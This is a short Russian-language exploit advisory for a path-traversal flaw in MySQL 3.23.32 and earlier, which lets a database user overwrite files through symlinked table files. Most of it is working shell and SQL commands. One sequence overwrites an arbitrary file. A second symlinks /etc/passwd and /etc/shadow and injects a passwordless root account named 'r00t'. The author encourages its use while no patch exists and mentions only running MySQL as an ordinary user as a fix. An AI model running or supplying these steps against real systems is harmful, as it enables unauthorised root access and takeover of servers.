Пользователи, имеющие
доступ к MySQL, могут с помощью дырки в сервере
БД перезаписывать файлы. Если MySQL запущен от
root-а (в RedHat 6.1 и 6.2 RPM например это так), то
взломщик может получить эти права доступа.
Уязвим: MySQL 3.23.32 и ранние
версии
Причина: MySQL пропускает ../фигня
в качестве имени базы данных и для каждой
таблицы, которая представляется тремя
файлами tablename.ISD, tablename.ISM и tablename.frm проверяет
наличие только последнего.
Пример:
Example:
$ cd /var/tmp
$ ln -s /some/file/you/wish/to/overwrite qqq.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table qqq(www int);
\q
$
Файл /some/file/you/wish/to/overwrite будет перезаписан. Если хорошо подумать, то можно много где насрать через эту дырку...
Пример получения root-а:
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$
Патча пока нету, так
что можно пользовать, для устранения
последней ошибки надо запустить MySQL от
обычного пользователя.